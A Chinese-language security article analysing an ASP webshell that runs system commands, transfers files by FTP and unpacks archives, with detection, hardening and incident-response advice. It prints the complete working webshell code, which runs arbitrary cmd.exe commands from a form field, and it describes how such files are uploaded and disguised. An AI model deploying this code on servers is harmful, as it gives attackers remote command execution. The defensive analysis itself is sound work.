ASP 木馬實現 FTP 與解壓縮：惡意代碼分析與防範

⚠️ 安全警示

本文內容涉及惡意 ASP 木馬（Webshell）代碼，僅供安全研究、滲透測試授權環境、應急響應分析參考。未經授權在伺服器部署、使用此類代碼屬違法行為，嚴禁用於非法用途。請遵守當地法律法規與道德準則。

木馬功能概述

該 ASP 木馬利用 WScript.Shell 執行系統命令，配合 Scripting.FileSystemObject 讀取命令輸出，實現以下惡意功能：

• 任意命令執行：透過表單提交 .CMD 參數，在伺服器執行 cmd.exe /c <command>。
• FTP 上傳/下載：攻擊者可呼叫系統內建 ftp.exe 或上傳 wget/curl 進行檔案傳輸。
• 解壓縮：將 rar.exe/unzip.exe 放入 %SystemRoot%\system32，再執行 rar x archive.rar path 解壓惡意檔案。
• 路徑探測：內嵌 <%=Server.MapPath(".")%> 取得 Web 目錄實體路徑，便於後續操作。
• 右鍵彈窗欺騙：客戶端 JavaScript 攔截右鍵並開啟惡意連結，誘導點擊。

核心惡意代碼片段

<%@ Language=VBScript %>
<%
Dim oScript, oScriptNet, oFileSys, oFile, szCMD, szTempFile
On Error Resume Next
Set oScript = Server.CreateObject("WSCRIPT.SHELL")
Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")
Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")
szCMD = Request.Form(".CMD")
If szCMD <> "" Then
    szTempFile = "C:" & oFileSys.GetTempName()
    oScript.Run "cmd.exe /c " & szCMD & " > " & szTempFile, 0, True
    Set oFile = oFileSys.OpenTextFile(szTempFile, 1, False, 0)
End If
%>
<html><body>
<form action="<%=Request.ServerVariables("URL")%>" method="POST">
<input type=text name=".CMD" size=45 value="<%=szCMD%>">
<input type=submit value="Run">
</form>
<pre>
<%
If IsObject(oFile) Then
    On Error Resume Next
    Response.Write Server.HTMLEncode(oFile.ReadAll)
    oFile.Close
    oFileSys.DeleteFile szTempFile, True
End If
%>
</pre>
</body></html>

攻擊鏈分析

1. 植入：攻擊者利用網站漏洞（如檔案上傳驗證繞過、SQL 注入寫檔、CMS 後台弱口令）將 trojan.asp 上傳至 Web 目錄。
2. 持久化：木馬檔名偽裝為正常檔案（如 config.asp、image.asp），或修改現有檔案植入後門。
3. 命令控制：攻擊者瀏覽木馬 URL，輸入命令執行，獲取系統權限（通常為 IIS_IUSRS 或 NETWORK SERVICE）。
4. 橫向擴展：下載提權工具、掃描內網、竊取資料庫、植入勒索軟體等。

檢測與清除建議

1. 檔案層面

• 定期掃描 Web 目錄異常 .asp/.asa/.cer/.cdx 檔案（特別是近期修改、大小異常、包含 WSCRIPT.SHELL、ADODB.Stream、eval、execute 等關鍵字）。
• 比對已知正常檔案雜湊值（MD5/SHA256），發現異動即告警。

2. 流量層面

• WAF/IDS 規則攔截含 .CMD=、cmd.exe、wscript.shell 等特徵的 POST 請求。
• 監控伺服器異常出站連線（FTP、HTTP 下載工具、反向 Shell）。

3. 系統加固

• 禁用危險 COM 元件：在註冊表 HKEY_CLASSES_ROOT\CLSID\{...} 設定 AccessPermission 拒絕 IIS 身分存取 WScript.Shell、Scripting.FileSystemObject、ADODB.Stream。
• 應用程式集區身分最小權限：使用專用帳號，移除不必要的系統權限。
• 目錄執行權限：上傳目錄、靜態資源目錄設定「腳本執行權限 = 無」。
• 檔案上傳驗證：白名單副檔名、MIME 檢查、儲存至非執行目錄、重新命名、掃描惡意代碼。
• 定期修補：更新 IIS、Windows、CMS、框架至最新版本。

應急響應步驟

1. 隔離受感染伺服器（斷網或移出負載平衡）。
2. 備份完整磁碟映像供取證。
3. 掃描並清除所有 Webshell、異常檔案、計畫任務、啟動項。
4. 修改所有帳號密碼（資料庫、FTP、管理後台、系統管理員）。
5. 分析入侵向量，修補漏洞，加固系統。
6. 恢復服務並持續監控異常行為。

結語

ASP 木馬雖屬經典技術，但因舊系統廣泛存在，仍是攻擊者常用工具。防禦核心在於最小權限原則、嚴格檔案上傳驗證、禁用危險 COM 元件、持續監控與快速應急響應。安全無絕對，唯有纵深防禦。